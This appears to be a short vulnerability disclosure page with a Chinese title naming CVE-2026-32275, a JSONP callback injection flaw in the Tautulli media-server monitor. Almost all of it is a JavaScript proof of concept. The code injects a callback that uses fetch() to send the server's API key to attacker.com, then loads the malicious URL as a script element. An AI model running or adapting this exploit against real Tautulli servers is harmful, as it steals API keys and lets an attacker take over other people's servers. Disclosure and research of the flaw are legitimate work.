CVE-2026-32275 Tautulli JSONP跨站脚本注入漏洞

// Proof of Concept for CVE-2026-32275 // Demonstrates JSONP callback injection to steal API keys // Malicious payload definition var maliciousCallback = 'function(data){ fetch(\'https://attacker.com/steal?c=\' + encodeURIComponent(JSON.stringify(data))); }'; // Construct the vulnerable URL with the unsanitized callback parameter // The target endpoint should be a JSONP-enabled API endpoint (e.g., get_api_key) var targetUrl = 'http://target-tautulli-instance/api/v2?cmd=get_api_key&callback=' + encodeURIComponent(maliciousCallback); // Simulate the victim visiting the link or script inclusion console.log("Attacker would send victim to:", targetUrl); // In a real attack, this would be injected via <script src="..."> var script = document.createElement('script'); script.src = targetUrl; document.body.appendChild(script);